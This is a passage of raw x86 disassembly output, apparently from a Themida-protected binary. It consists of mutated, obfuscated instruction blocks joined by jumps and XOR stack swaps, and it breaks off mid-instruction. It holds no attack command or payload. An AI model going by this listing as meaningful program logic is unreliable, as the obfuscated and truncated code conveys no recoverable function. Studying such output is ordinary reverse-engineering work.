loc_560DB0 ; --------------------------------------------------------------------------- loc_5707C9: ; CODE XREF: sub_562ABA+F4Dj mov ebx, 92737637h jmp loc_560B2E ; --------------------------------------------------------------------------- loc_5707D3: ; CODE XREF: sub_562ABA+DF95j mov [esp+32h+var_32], edi sub esp, 4 mov [esp+36h+var_36], ecx jmp loc_565F59 ; --------------------------------------------------------------------------- loc_5707E4: ; CODE XREF: sub_562ABA-213Dj shr edx, 5 xor edx, 145D3AF3h xor edx, 27F21CE2h and ebp, edx pop edx not ebp not ebp inc ebp sub ebp, 13420046h mov ecx, ebp jmp loc_567EC8 ; --------------------------------------------------------------------------- loc_570808: ; CODE XREF: sub_562ABA-1DAEj pop esp push 2D19h mov [esp-0Ah+arg_4+2], eax mov eax, 19332943h dec eax not eax jmp loc_57182E ; --------------------------------------------------------------------------- loc_57081E: ; CODE XREF: sub_562ABA+AD28j push ebx mov bl, 0D7h jmp loc_56299E ; --------------------------------------------------------------------------- loc_570826: ; CODE XREF: sub_562ABA+8B5j pop eax jmp loc_56BBFD ; --------------------------------------------------------------------------- loc_57082C: ; CODE XREF: sub_562ABA+AA20j mov ebx, [esp+2+var_4+2] add esp, 4 pop dword ptr [esp+0] jmp loc_56B8A9 ; --------------------------------------------------------------------------- loc_57083A: ; CODE XREF: sub_55FCA5+2A3j add esi, 4 add esi, 4 push esi push [esp-2+arg_0+2] jmp loc_568FCF ; --------------------------------------------------------------------------- loc_57084D: ; CODE XREF: sub_562ABA+8D23j mov ebx, 7A537CE9h push ecx mov ecx, 66E30138h add ecx, 13235039h shr ecx, 8 jmp loc_564C00 ; --------------------------------------------------------------------------- loc_570866: ; CODE XREF: sub_562ABA+C7C9j xchg edi, [esp+32h+var_32] jmp loc_55E316 ; --------------------------------------------------------------------------- loc_57086E: ; CODE XREF: sub_562ABA+4D0j pop ecx add edx, esi pop esi xor edx, [esp+10h+var_12+2] xor [esp+10h+var_12+2], edx xor edx, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] dec byte ptr [esp+10h+var_12+2] pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_570887: ; CODE XREF: sub_562ABA-2EC9j shr ecx, 7 shl ecx, 6 add ecx, 0AF76DD04h add ebp, ecx jmp loc_568529 ; --------------------------------------------------------------------------- loc_57089A: ; CODE XREF: sub_562ABA+C69Fj push 3316h mov [esp+1Ah+var_1A], esi push 1 pop esi and eax, esi mov esi, [esp+1Ah+var_1A] push 4B26h mov [esp+1Eh+var_1E], ebx mov ebx, esp jmp loc_567F50 ; --------------------------------------------------------------------------- loc_5708BC: ; CODE XREF: sub_562ABA+FB33j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5708C1: ; CODE XREF: sub_562ABA+96B5j mov edi, 14FE1CCDh and ebp, edi pop edi sub ebp, 95918BF4h sub eax, 49962F7h add eax, ebp push ebx mov ebx, 64BD6579h neg ebx dec ebx push edx jmp loc_568A0C ; --------------------------------------------------------------------------- loc_5708E5: ; CODE XREF: sub_562ABA+4508j add esp, 4 xchg ebx, [esp+16h+var_16] jmp loc_56E6A7 ; --------------------------------------------------------------------------- loc_5708F0: ; CODE XREF: sub_562ABA+D0EAj not edx jmp loc_570099 ; --------------------------------------------------------------------------- loc_5708F7: ; CODE XREF: sub_562ABA-3716j push 69B6h mov [esp+22h+var_22], eax mov eax, 154B593Dh push 44C3h mov [esp+26h+var_28+2], esi push ecx mov ecx, 5AAA6300h mov esi, ecx pop ecx or eax, esi mov esi, [esp+26h+var_28+2] add esp, 4 push esi mov esi, 7F2B0C17h sub esi, 18932970h jmp loc_5645A5 ; --------------------------------------------------------------------------- loc_570931: ; CODE XREF: sub_562ABA+3F22j pop ebp xor edi, ebx xor ebx, edi xor edi, ebx push ebx not [esp+2Ch+var_2C] jmp loc_5661B2 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+2Ch+var_2C] jmp loc_561C1A ; --------------------------------------------------------------------------- loc_57094A: ; CODE XREF: sub_562ABA+7E48j add edi, eax pop eax add edi, 4 jmp loc_56F575 ; --------------------------------------------------------------------------- loc_570958: ; CODE XREF: sub_562ABA+6CB6j sub esi, 3C433F6h jmp loc_561A47 ; --------------------------------------------------------------------------- loc_570963: ; CODE XREF: sub_562ABA-47F8j add esp, 4 pop [esp-6+arg_0+2] pop esp push [esp-0Eh+arg_8+2] jmp loc_55ED5D ; --------------------------------------------------------------------------- loc_570975: ; CODE XREF: sub_562ABA+5928j add ecx, 158B700Ch jmp loc_560323 ; --------------------------------------------------------------------------- loc_570980: ; CODE XREF: sub_562ABA+A4C3j push edx push edi jmp loc_56273E ; --------------------------------------------------------------------------- loc_570987: ; CODE XREF: sub_562ABA+8C86j xor ebp, ecx pop ecx or eax, ebp pop ebp sub eax, 21B1E78h push esi mov esi, 51876D55h sub esi, 425F09C8h add eax, esi pop esi jmp loc_55E6E3 ; --------------------------------------------------------------------------- loc_5709A6: ; CODE XREF: sub_562ABA+541Aj pop edx jmp loc_571652 ; --------------------------------------------------------------------------- loc_5709AC: ; CODE XREF: sub_562ABA+580Ej dec edi push eax mov eax, 3E296858h and eax, 0C8E5585h sub eax, 27467DDh jmp loc_571852 ; --------------------------------------------------------------------------- loc_5709C2: ; CODE XREF: sub_562ABA-1612j add esp, 4 xor dl, 0B9h neg dl sub dl, 2Ch jmp loc_565FFC ; --------------------------------------------------------------------------- loc_5709D2: ; CODE XREF: sub_562ABA+9151j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5709D7: ; CODE XREF: sub_562ABA+7BFEj pop edx push eax mov eax, 253A1A49h sub eax, 0E48ACCEDh sub ebx, eax pop eax sub ebx, edi add ebx, 40AF4D5Ch pop edi sub ebx, 5FED07E8h jmp loc_568D42 ; --------------------------------------------------------------------------- loc_5709FA: ; CODE XREF: sub_562ABA+E5E7j push 800h push dword ptr [esp+0] pop esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_4] pop esp mov [esp+0], edi mov edi, esp add edi, 4 push ebp mov ebp, 42B537DFh xchg edi, ebp not edi push ebp push edi jmp loc_571E5E ; --------------------------------------------------------------------------- loc_570A2F: ; CODE XREF: sub_562ABA+6CF4j push ecx mov ecx, 4 jmp loc_562217 ; --------------------------------------------------------------------------- loc_570A3A: ; CODE XREF: sub_562ABA+FDA2j pop edx inc edx jmp loc_562158 ; --------------------------------------------------------------------------- loc_570A41: ; CODE XREF: sub_562ABA+4862j mov esp, [esp+3Eh+var_3E] imul cl movzx cx, ah push 50C8h jmp loc_5707D3 ; --------------------------------------------------------------------------- loc_570A54: ; CODE XREF: sub_562ABA+9C6Ej push 51C91D14h pop ecx not ecx xor ecx, 0E8ECC11Ah push ecx add [esp+16h+var_16], 54DB779Ah pop ebp sub ebp, 54DB779Ah pop ecx shl ebp, 7 jmp loc_562488 ; --------------------------------------------------------------------------- loc_570A7A: ; CODE XREF: sub_562ABA+3283j pop edx push 3A52h mov [esp-4+arg_0], ecx jmp loc_571F7C ; --------------------------------------------------------------------------- loc_570A88: ; CODE XREF: sub_562ABA+6EC3j push edi jmp loc_564797 ; --------------------------------------------------------------------------- loc_570A8E: ; CODE XREF: sub_562ABA+BF31j mov fs:[edx], al jmp loc_56C018 ; --------------------------------------------------------------------------- loc_570A96: ; CODE XREF: sub_562ABA+B3EDj add ebp, 0A0000002h add eax, ebp pop ebp add eax, 4 jmp loc_56E982 ; --------------------------------------------------------------------------- loc_570AA7: ; CODE XREF: sub_562ABA+A903j push esi mov esi, 0E515A78h and ecx, esi push [esp+1Eh+var_1E] jmp loc_564CD5 ; --------------------------------------------------------------------------- loc_570AB7: ; CODE XREF: sub_562ABA+76E8j pop ecx xor edi, 15B5BEE9h mov edx, edi pop edi sub edx, 2C5E5055h mov ebx, edx pop edx sub [edi+24h], ebx push [esp+8+var_8] pop ebx push esi mov esi, esp push ebp jmp loc_5687F3 ; --------------------------------------------------------------------------- loc_570ADA: ; CODE XREF: sub_562ABA+5F33j pop ebx pop esi xor edi, edx mov edx, [esp+12h+var_12] add esp, 4 mov eax, edi pop edi and ecx, eax mov eax, [esp+0Ah+var_C+2] add esp, 4 shr ecx, 0Ah jmp loc_56CC9F ; --------------------------------------------------------------------------- loc_570AFA: ; CODE XREF: sub_562ABA-3477j mov esp, [esp+26h+var_28+2] mov word ptr [esp+26h+var_28+2], si push cx pop si mov cx, word ptr [esp+26h+var_28+2] jmp loc_56F28E ; --------------------------------------------------------------------------- loc_570B0E: ; CODE XREF: sub_562ABA+41BCj neg edx jmp loc_564A04 ; --------------------------------------------------------------------------- loc_570B15: ; CODE XREF: sub_562ABA+C622j dec edx jmp loc_565BB2 ; --------------------------------------------------------------------------- loc_570B1B: ; CODE XREF: sub_562ABA+16j pop ebx not ebp inc ebp shl ebp, 5 jmp loc_560744 ; --------------------------------------------------------------------------- loc_570B27: ; CODE XREF: sub_562ABA+5188j push 16E8h mov [esp+32h+var_32], edx mov edx, 4 jmp loc_563F7D ; --------------------------------------------------------------------------- loc_570B39: ; CODE XREF: sub_562ABA+AA0Cj mov edx, 395C4EACh jmp loc_56F026 ; --------------------------------------------------------------------------- loc_570B43: ; CODE XREF: sub_562ABA+4A80j sub esp, 4 mov [esp+0Ch+var_C], ecx mov ch, 0CBh dec ch shr ch, 5 push ebx jmp loc_56290C ; --------------------------------------------------------------------------- loc_570B56: ; CODE XREF: sub_562ABA+56D9j add ebp, 4 sub esp, 4 mov [esp-4+arg_0], edi mov edi, 4 add ebp, edi pop edi xor ebp, [esp-8+arg_4] xor [esp-8+arg_4], ebp xor ebp, [esp-8+arg_4] mov esp, [esp-8+arg_4] jmp loc_5616CA ; --------------------------------------------------------------------------- loc_570B7B: ; CODE XREF: sub_562ABA+244Ej push ebp sub esp, 4 mov [esp+8+var_8], esp sub esp, 4 mov [esp+0Ch+var_C], ebx mov ebx, 4 push edi mov edi, 7E6A6A4Ch add [esp+10h+var_8], edi pop edi add [esp+0Ch+var_8], ebx sub [esp+0Ch+var_8], 7E6A6A4Ch pop ebx mov ebp, [esp+8+var_8] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_569775 ; --------------------------------------------------------------------------- loc_570BC2: ; CODE XREF: sub_562ABA+D0DFj add [esp+34h+var_32+2], 61842231h jmp loc_55E4C3 ; --------------------------------------------------------------------------- loc_570BCF: ; CODE XREF: sub_562ABA+9FD7j push 4 mov ebp, [esp+46h+var_46] jmp loc_568732 ; --------------------------------------------------------------------------- loc_570BDC: ; CODE XREF: sub_562ABA+36DEj mov ch, 9Ch and ch, 87h add ch, 96h add ch, 5 sub bl, ch jmp loc_565BEE ; --------------------------------------------------------------------------- loc_570BEE: ; CODE XREF: sub_562ABA-26D4j mov edx, esp add edx, 4 jmp loc_56FB0C ; --------------------------------------------------------------------------- loc_570BFB: ; CODE XREF: sub_562ABA+2B6Ej pop ebx add [esp+4], esi pop esi mov esi, [esp+0] add esp, 4 add esi, 4 push ebp push 1DBA4220h pop ebp add ebp, 0E245BDE4h sub esi, 4CDC22FBh jmp loc_56133F ; --------------------------------------------------------------------------- loc_570C25: ; CODE XREF: sub_562ABA+33Aj mov edx, 79800C84h add ebp, edx pop edx sub ebp, 7B746520h mov ebx, [esp+3Ah+var_3A] add esp, 4 jmp loc_56900B ; --------------------------------------------------------------------------- loc_570C3E: ; CODE XREF: sub_562ABA+D796j pop edx push esi mov esi, 29804C04h xor eax, esi jmp loc_568AAE ; --------------------------------------------------------------------------- loc_570C4C: ; CODE XREF: sub_562ABA-2093j mov edx, ebp jmp loc_569F20 ; --------------------------------------------------------------------------- loc_570C53: ; CODE XREF: sub_562ABA+A2C6j mov eax, 470F4E4Ch jmp loc_55F418 ; --------------------------------------------------------------------------- loc_570C5D: ; CODE XREF: sub_562ABA+A647j ; sub_562ABA+ADCDj push 2A14h mov [esp+8+var_8], edx jmp loc_56FEBE ; --------------------------------------------------------------------------- loc_570C6A: ; CODE XREF: sub_562ABA+DC16j mov ecx, [esp+32h+var_32] push edx push esp pop edx jmp loc_562A61 ; --------------------------------------------------------------------------- loc_570C75: ; CODE XREF: sub_562ABA+7FE0j push [esp+32h+var_32] pop esi jmp sub_561D56 ; --------------------------------------------------------------------------- loc_570C7E: ; CODE XREF: sub_562ABA+7679j add esp, 4 push 2C49h mov [esp+0], edi jmp loc_567B70 ; --------------------------------------------------------------------------- loc_570C91: ; CODE XREF: sub_562ABA+3B26j push 6702h jmp loc_56B7DA ; --------------------------------------------------------------------------- loc_570C9B: ; CODE XREF: sub_562ABA+D633j pop bx sub bx, 34h mov si, bx push [esp+18h+var_1A+2] pop ebx push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], ebx jmp loc_560F20 ; --------------------------------------------------------------------------- loc_570CC3: ; CODE XREF: sub_562ABA+9F85j mov edx, esp jmp loc_569751 ; --------------------------------------------------------------------------- loc_570CCA: ; CODE XREF: sub_562ABA+41E3j mov ebp, 188F1706h mov edi, 188F1716h push ecx jmp loc_560611 ; --------------------------------------------------------------------------- loc_570CDA: ; CODE XREF: sub_562ABA-F89j inc ebp jmp loc_56DF66 ; --------------------------------------------------------------------------- loc_570CE0: ; CODE XREF: sub_562ABA+A0E7j sub eax, ebx pop ebx or eax, 1FC45F7Eh add eax, 0B0FD4A8Bh or eax, 25250A03h dec eax push edi mov edi, 146F154Bh jmp loc_563E4E ; --------------------------------------------------------------------------- loc_570CFE: ; CODE XREF: sub_562ABA-32CDj mov ebx, esi pop esi sub [esp+1Eh+var_1A], ebx push [esp+1Eh+var_1E] jmp loc_56A9D2 ; --------------------------------------------------------------------------- loc_570D0D: ; CODE XREF: sub_562ABA+7715j sub al, dl push dx mov dl, 23h add al, dl mov dx, word ptr [esp+1Ah+var_1A] add esp, 2 pop edx jmp loc_568124 ; --------------------------------------------------------------------------- loc_570D25: ; CODE XREF: sub_562ABA+A89Dj add ebp, 329E665Eh mov eax, [esp+14h+var_16+2] push 17FFh mov [esp+18h+var_1A+2], ecx push esp pop ecx push 277Fh jmp loc_56650E ; --------------------------------------------------------------------------- loc_570D42: ; CODE XREF: sub_562ABA+F67Dj neg dl shr dl, 2 jmp loc_56A213 ; --------------------------------------------------------------------------- loc_570D4C: ; CODE XREF: sub_562ABA+934j xor ecx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] jmp loc_565BA9 ; --------------------------------------------------------------------------- loc_570D57: ; CODE XREF: sub_562ABA+E824j pop ebp add ebp, 4 sub esp, 4 mov [esp+1Ah+var_1A], ecx push 0E94h mov [esp+1Eh+var_1E], edi jmp loc_560E5D ; --------------------------------------------------------------------------- loc_570D74: ; CODE XREF: sub_562ABA-3E51j pop eax xor ch, 6Dh jmp loc_56CB67 ; --------------------------------------------------------------------------- loc_570D7D: ; CODE XREF: sub_562ABA+29Cj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+52h+var_52] pop esp jmp loc_55F1B1 ; --------------------------------------------------------------------------- loc_570D92: ; CODE XREF: sub_562ABA+49ACj shl edx, 3 xchg ebx, edx not ebx xchg ebx, edx jmp loc_572A5A ; --------------------------------------------------------------------------- loc_570DA0: ; CODE XREF: sub_562ABA+645Bj pop bx jmp loc_56F66A ; --------------------------------------------------------------------------- loc_570DA7: ; CODE XREF: sub_562ABA+FAA9j add esp, 4 jmp loc_560584 ; --------------------------------------------------------------------------- loc_570DAF: ; CODE XREF: sub_562ABA-3C75j pop ecx jmp loc_56F478 ; --------------------------------------------------------------------------- loc_570DB5: ; CODE XREF: sub_562ABA+56F6j xor edi, 49745ECDh jmp loc_56126A ; --------------------------------------------------------------------------- loc_570DC0: ; CODE XREF: sub_562ABA+AE53j mov ah, 0ABh jmp loc_566FD7 ; --------------------------------------------------------------------------- loc_570DC7: ; CODE XREF: sub_562ABA+338Dj xor eax, [esp+22h+var_22] xor [esp+22h+var_22], eax jmp loc_571159 ; --------------------------------------------------------------------------- loc_570DD2: ; CODE XREF: sub_562ABA+98A5j and cl, 10h push ebx jmp loc_571421 ; --------------------------------------------------------------------------- loc_570DDB: ; CODE XREF: sub_571CD8+Ej xor ebx, 1E506035h add ebx, 0D2610042h sub eax, ebx pop ebx sub ebp, eax pop eax xchg ebp, [esp+2Ah+var_2C+2] pop esp mov [esp+26h+var_28+2], edx sub esp, 4 mov [esp+2Ah+var_2C+2], ecx mov ch, 72h jmp loc_5614A1 ; --------------------------------------------------------------------------- loc_570E01: ; CODE XREF: sub_562ABA+D855j mov ecx, [esp+2+var_4+2] add esp, 4 xor eax, edx mov edx, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+2+var_4+2] pop esp push 2D05h jmp loc_56BE83 ; --------------------------------------------------------------------------- loc_570E25: ; CODE XREF: sub_562ABA+1019Bj xor [esp+2+var_4+2], edi pop edx sub edx, 64226FFDh mov ecx, edx pop edx push ecx pop eax mov ecx, [esp-6+arg_0+2] push edx push esp pop edx add edx, 4 push eax mov eax, 4 jmp loc_56716F ; --------------------------------------------------------------------------- loc_570E4B: ; CODE XREF: sub_562ABA+9983j push 381h mov [esp+16h+var_16], edi push esi jmp loc_5666F6 ; --------------------------------------------------------------------------- loc_570E59: ; CODE XREF: sub_562ABA+13F8j pop ecx jmp loc_56014F ; --------------------------------------------------------------------------- loc_570E5F: ; CODE XREF: sub_562ABA+A117j xchg ecx, esi sub esi, 0DF846227h mov ecx, esi jmp loc_56CA1A ; --------------------------------------------------------------------------- loc_570E6E: ; CODE XREF: sub_562ABA+CD25j or edx, edi pop edi shl edx, 7 add edx, 7D01861Ch add esi, edx pop edx pop ecx jmp loc_562391 ; --------------------------------------------------------------------------- loc_570E83: ; CODE XREF: sub_562ABA+6ED3j mov ebp, 2D3E3C14h jmp loc_5637F0 ; --------------------------------------------------------------------------- loc_570E8D: ; CODE XREF: sub_562ABA+7A6Aj pop eax add ebx, 4 xor ebx, [esp+22h+var_22] xor [esp+22h+var_22], ebx xor ebx, [esp+22h+var_22] pop esp push small 3439h mov word ptr [esp+20h+var_22+2], cx push eax mov al, 0A7h xor al, 94h mov cl, al mov eax, [esp+0] add esp, 4 push 263h mov [esp+0], ebx mov bh, 99h add bh, 85h sub al, bh pop ebx sub esp, 4 mov [esp+0], ecx mov ch, 0DCh push ebx mov bh, 0F8h sub al, bh jmp loc_56DD86 ; --------------------------------------------------------------------------- loc_570ED5: ; CODE XREF: sub_562ABA-38j shr ecx, 5 inc ecx sub ecx, 3E38B5Fh and ebp, ecx pop ecx neg ebp jmp loc_568416 ; --------------------------------------------------------------------------- loc_570EE9: ; CODE XREF: sub_562ABA+4893j add ecx, 4 xchg ecx, [esp+32h+var_32] pop esp add esp, 4 push [esp+2Ah+var_2C+2] pop ebp add esp, 4 xor ebx, eax push eax push edi mov edi, 33A40A7h mov eax, edi jmp loc_56826E ; --------------------------------------------------------------------------- loc_570F0D: ; CODE XREF: sub_562ABA-25E8j push edi mov edi, 0B694E559h xor eax, edi jmp loc_561DBC ; --------------------------------------------------------------------------- loc_570F1A: ; CODE XREF: sub_562ABA-F18j mov [esp+14h+var_16+2], ebp push esp mov ebp, [esp+18h+var_1A+2] jmp loc_56EC18 ; --------------------------------------------------------------------------- loc_570F26: ; CODE XREF: sub_562ABA+1B4Ej sub ebx, ecx pop ecx push small 5C2Fh mov word ptr [esp+4+var_4], cx push edx jmp loc_563E16 ; --------------------------------------------------------------------------- loc_570F37: ; CODE XREF: sub_562ABA+37CDj pop ecx xor ebp, [esp-14h+arg_10] jmp loc_560452 ; --------------------------------------------------------------------------- loc_570F40: ; CODE XREF: sub_562ABA+1DAFj add eax, edx pop edx sub eax, 2 sub esp, 4 mov [esp+1Eh+var_1E], eax push [esp+1Eh+var_1A] mov eax, [esp+22h+var_22] add esp, 4 jmp loc_56812B ; --------------------------------------------------------------------------- loc_570F60: ; CODE XREF: sub_55FCA5+49Fj push esi push ebx mov ebx, 3D4F7230h shr ebx, 5 add ebx, 4C6767D9h shl ebx, 2 jmp loc_56B9B3 ; --------------------------------------------------------------------------- loc_570F78: ; CODE XREF: sub_562ABA+8336j xchg eax, [esp+2Ah+var_2C+2] mov esp, [esp+2Ah+var_2C+2] jmp loc_56B70B ; --------------------------------------------------------------------------- loc_570F83: ; CODE XREF: Themida_:00561244j push 4D37h mov [esp+0], edx push 562Ch mov [esp+32h+var_32], ebx push eax jmp loc_565D4A ; --------------------------------------------------------------------------- loc_570F99: ; CODE XREF: sub_562ABA+F7C0j add dword ptr [esp+8], 7CF518Ch jmp loc_56A8C6 ; --------------------------------------------------------------------------- loc_570FA6: ; CODE XREF: sub_562ABA-CC7j shr dl, 1 and dl, 9Ch sub dl, 0C6h sub esp, 4 mov [esp+3Ah+var_3A], eax mov al, dl mov bl, al mov eax, [esp+3Ah+var_3A] add esp, 4 pop edx push ax jmp loc_56E311 ; --------------------------------------------------------------------------- loc_570FC6: ; CODE XREF: sub_562ABA+D12Fj push esp pop ebx push edi mov edi, 0D5209B6h neg edi shl edi, 6 not edi sub edi, 54826D7Bh add ebx, edi pop edi jmp loc_56021E ; --------------------------------------------------------------------------- loc_570FE3: ; CODE XREF: sub_562ABA+C740j pop edx add eax, 41D85BDDh push 136Ah mov [esp+12h+var_12], edi push esi mov esi, 7BE819C1h mov edi, esi pop esi push esi mov esi, 0F81798Eh jmp loc_561F3A ; --------------------------------------------------------------------------- loc_571005: ; CODE XREF: sub_562ABA+5745j sub ebp, 24381F86h pop eax push edi jmp sub_5617E6 ; --------------------------------------------------------------------------- loc_571012: ; CODE XREF: sub_562ABA-1BFEj xchg esi, [esp+44h+var_46+2] pop esp mov [esp+40h+var_42+2], eax push 5E7Bh push esp pop [esp+48h+var_4A+2] jmp loc_55E6F8 ; --------------------------------------------------------------------------- loc_571027: ; CODE XREF: sub_562ABA-23BBj push ebx jmp loc_565E55 ; --------------------------------------------------------------------------- loc_57102D: ; CODE XREF: sub_562ABA+3662j add esp, 4 pop [esp+30h+var_32+2] mov esp, [esp+2Ch+var_2C] mov ax, word ptr [esp+2Ch+var_2C] jmp loc_56FEA9 ; --------------------------------------------------------------------------- loc_57103F: ; CODE XREF: sub_562ABA+F4D2j mov ah, 0A3h and ah, 0D4h shr ah, 5 inc ah shr ah, 6 jmp loc_569F8A ; --------------------------------------------------------------------------- loc_571051: ; CODE XREF: sub_562ABA-4294j sub esp, 4 mov [esp+16h+var_16], edx push edi push 1E2D201Fh pop edi jmp loc_567FCF ; --------------------------------------------------------------------------- loc_571066: ; CODE XREF: sub_562ABA+A41Aj sub esp, 4 jmp loc_56C707 ; --------------------------------------------------------------------------- loc_571071: ; CODE XREF: sub_562ABA+9DEBj mov esi, 91809E7h neg esi push eax mov eax, 32BFF3D7h sub esi, eax pop eax add edi, esi pop esi sub ebx, edi jmp loc_56E863 ; --------------------------------------------------------------------------- loc_57108B: ; CODE XREF: sub_562ABA+9917j mov ebx, [esp+14h+var_16+2] add esp, 4 xchg ebp, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] add esp, 4 push esi jmp loc_5709FA ; --------------------------------------------------------------------------- loc_5710A6: ; CODE XREF: sub_562ABA+2034j mov [esp+44h+var_46+2], ecx mov cl, al push 12Eh mov [esp+48h+var_4A+2], eax mov al, cl jmp loc_569137 ; --------------------------------------------------------------------------- loc_5710BA: ; CODE XREF: sub_562ABA-3225j mov ecx, ebp pop ebp pop ebx sub ecx, edi pop edi add ecx, 5CD835F7h and ecx, 1F977832h and ecx, 76400709h shr ecx, 4 dec ecx xor ecx, 0C1308000h xor eax, ecx jmp loc_56D81A ; --------------------------------------------------------------------------- loc_5710E4: ; CODE XREF: sub_562ABA+6EABj mov edi, 49AB14CFh jmp loc_56B8D1 ; --------------------------------------------------------------------------- loc_5710EE: ; CODE XREF: sub_562ABA-4262j xchg ecx, [esp+0Ah+var_C+2] jmp loc_560D11 ; --------------------------------------------------------------------------- loc_5710F6: ; CODE XREF: sub_562ABA+CD1Bj add [esp+16h+var_16], 419E527Fh mov ebx, [esp+16h+var_16] add esp, 4 sub ebx, 419E527Fh pop edx push dword ptr [esp+0] pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_565EFE ; --------------------------------------------------------------------------- loc_571125: ; CODE XREF: sub_562ABA+7E96j add esp, 4 mov ebx, [esp+4+var_4] add esp, 4 push eax jmp loc_56CC68 ; --------------------------------------------------------------------------- loc_571137: ; CODE XREF: sub_562ABA-3B0Dj mov edi, [esp+2Ah+var_2C+2] add esp, 4 jmp loc_5671B1 ; --------------------------------------------------------------------------- loc_571142: ; CODE XREF: sub_562ABA+F5F8j pop ecx add ah, 0B2h sub ah, 0C1h jmp loc_5666E0 ; --------------------------------------------------------------------------- loc_57114E: ; CODE XREF: sub_562ABA+FF03j xor cl, ah pop eax push eax mov al, 0A5h jmp loc_571C84 ; --------------------------------------------------------------------------- loc_571159: ; CODE XREF: sub_562ABA+E313j xor eax, [esp+22h+var_22] mov esp, [esp+22h+var_22] shr ecx, 0Bh push edi mov edi, esp jmp loc_569F95 ; --------------------------------------------------------------------------- loc_57116A: ; CODE XREF: sub_562ABA+B91Aj shr edi, 8 push eax mov eax, 973E6355h jmp loc_568386 ; --------------------------------------------------------------------------- loc_571178: ; CODE XREF: sub_562ABA+D64Dj xor ecx, [esp+0Ah+var_C+2] jmp loc_561D6E ; --------------------------------------------------------------------------- loc_571180: ; CODE XREF: sub_562ABA+C54Cj mov ebp, 4 add eax, 59475ADDh add eax, ebp sub eax, 59475ADDh pop ebp xor eax, [esp+26h+var_28+2] xor [esp+26h+var_28+2], eax xor eax, [esp+26h+var_28+2] pop esp push [esp+22h+var_22] pop edx push 17F7h mov [esp+26h+var_28+2], edi push esp push [esp+2Ah+var_2C+2] pop edi jmp loc_5635C5 ; --------------------------------------------------------------------------- loc_5711B2: ; CODE XREF: sub_562ABA+8B49j push eax mov eax, 4 jmp loc_56CFD7 ; --------------------------------------------------------------------------- loc_5711BD: ; CODE XREF: sub_562ABA+50Fj mov ecx, 4 sub ebx, 50AA4EF1h add ebx, ecx add ebx, 50AA4EF1h pop ecx add ebx, 4 xor ebx, [esp+8+var_8] xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] jmp loc_56267E ; --------------------------------------------------------------------------- loc_5711E2: ; CODE XREF: sub_562ABA+F283j mov dl, cl pop ecx jmp loc_56F934 ; --------------------------------------------------------------------------- loc_5711EA: ; CODE XREF: sub_562ABA+FF18j mov esp, [esp+4+var_4] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5711F2: ; CODE XREF: sub_562ABA+2F26j not edx jmp loc_56D781 ; --------------------------------------------------------------------------- loc_5711F9: ; CODE XREF: sub_562ABA+5491j mov dh, ah pop eax pop ecx add dh, cl pop ecx xor al, dh pop edx sub bh, al pop eax push bx mov bl, 0CDh sub al, 57h add al, bl add al, 57h mov bx, word ptr [esp-10h+arg_C] add esp, 2 add al, bh sub al, 0CDh pop ebx xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_57122C: ; CODE XREF: sub_562ABA+9223j pop esp sub esp, 4 mov [esp-12h+arg_C+2], esi mov esi, esp add esi, 4 push ebp push ebx mov ebx, 39F016EDh not ebx shr ebx, 1 or ebx, 71E30DBDh add ebx, 55F41DCh sub ebx, 45116C98h sub ebx, 3435D2FDh mov ebp, ebx pop ebx jmp loc_563278 ; --------------------------------------------------------------------------- loc_571266: ; CODE XREF: sub_562ABA-42F0j add esp, 4 push 625Bh mov [esp+26h+var_28+2], ecx mov ecx, 786D39CDh and edx, ecx push [esp+26h+var_28+2] pop ecx jmp loc_5677BC ; --------------------------------------------------------------------------- loc_571284: ; CODE XREF: sub_562ABA+224j push 408Bh mov [esp+12h+var_12], ecx push esi push esp mov esi, [esp+1Ah+var_1A] add esp, 4 add esi, 4 push ebx jmp loc_56CF82 ; --------------------------------------------------------------------------- loc_5712A0: ; CODE XREF: sub_562ABA+D84Ej add edi, 4 push 559h mov [esp+3Ah+var_3A], ebx mov ebx, 4 jmp loc_563CDE ; --------------------------------------------------------------------------- lodsb push cx push ecx jmp loc_572123 ; --------------------------------------------------------------------------- loc_5712C1: ; CODE XREF: sub_562ABA+5CC6j push esp pop [esp+3Eh+var_3E] jmp loc_572037 ; --------------------------------------------------------------------------- loc_5712CA: ; CODE XREF: sub_562ABA+A750j pop esp mov [esp+16h+var_16], ebp push 4C3h push esp pop [esp+1Eh+var_1E] add [esp+1Ah+var_1A], 4 jmp loc_570D57 ; --------------------------------------------------------------------------- loc_5712E3: ; CODE XREF: sub_562ABA+7024j shr eax, 6 shr eax, 3 jmp loc_5644E5 ; --------------------------------------------------------------------------- loc_5712EE: ; CODE XREF: sub_562ABA+FEEBj pop [esp+36h+var_36] jmp loc_56F5DE ; --------------------------------------------------------------------------- push [esp+32h+var_32] pop ecx push 4854h mov [esp+36h+var_36], ebp mov ebp, esp push edi jmp loc_57038F ; --------------------------------------------------------------------------- loc_57130A: ; CODE XREF: sub_562ABA-59Ej sub ebx, 23156822h add ebx, edi add ebx, 23156822h pop edi push eax mov eax, 79F771D4h add ebx, eax mov eax, [esp+0] add esp, 4 jmp loc_56B2CB ; --------------------------------------------------------------------------- loc_57132C: ; CODE XREF: sub_562ABA+F6Ej pop esi xor esi, 3C82790Dh jmp loc_56947C ; --------------------------------------------------------------------------- loc_571338: ; CODE XREF: sub_562ABA+618Cj mov ebx, [esp-1Ch+arg_18] push 6556h jmp loc_566C33 ; --------------------------------------------------------------------------- loc_571345: ; CODE XREF: sub_562ABA+CA83j add ebx, 28EE40A0h pop eax add ebx, eax add ebx, 66BE77B0h mov eax, 